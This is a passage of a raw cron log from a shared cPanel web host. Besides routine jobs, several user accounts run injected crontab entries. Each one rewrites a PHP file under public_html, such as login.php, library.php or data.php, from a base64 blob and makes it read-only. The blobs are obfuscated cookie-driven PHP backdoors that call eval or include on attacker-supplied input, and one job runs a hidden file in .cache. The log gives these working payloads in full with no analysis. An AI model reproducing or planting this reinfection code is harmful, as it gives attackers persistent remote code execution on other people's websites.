CsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:15:01 medusa CROND[12634]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 21:15:01 medusa CROND[12635]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:15:01 medusa CROND[12639]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 21:15:01 medusa CROND[12600]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 21:15:01 medusa CROND[12643]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:16:01 medusa CROND[31246]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 21:16:01 medusa CROND[31294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:16:01 medusa CROND[31511]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:16:01 medusa CROND[31512]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:16:01 medusa CROND[31519]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 21:16:01 medusa CROND[31520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:16:01 medusa CROND[31521]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:16:01 medusa CROND[31522]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:16:01 medusa CROND[31526]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:16:01 medusa CROND[31540]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:16:01 medusa CROND[31542]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:16:01 medusa CROND[31548]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:16:01 medusa CROND[31552]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:16:01 medusa CROND[31555]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:17:01 medusa CROND[16383]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:17:01 medusa CROND[16565]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Mar  1 21:17:01 medusa CROND[16730]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:17:01 medusa CROND[16732]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:17:01 medusa CROND[16734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:17:01 medusa CROND[16731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:17:01 medusa CROND[16735]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:17:01 medusa CROND[16742]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:17:01 medusa CROND[16743]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:17:01 medusa CROND[16744]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 21:17:01 medusa CROND[16752]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:17:01 medusa CROND[16767]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:17:01 medusa CROND[16768]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:17:01 medusa CROND[16771]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 21:18:01 medusa CROND[2362]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 21:18:01 medusa CROND[2365]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:18:01 medusa CROND[2580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:18:01 medusa CROND[2617]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:18:01 medusa CROND[2686]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeV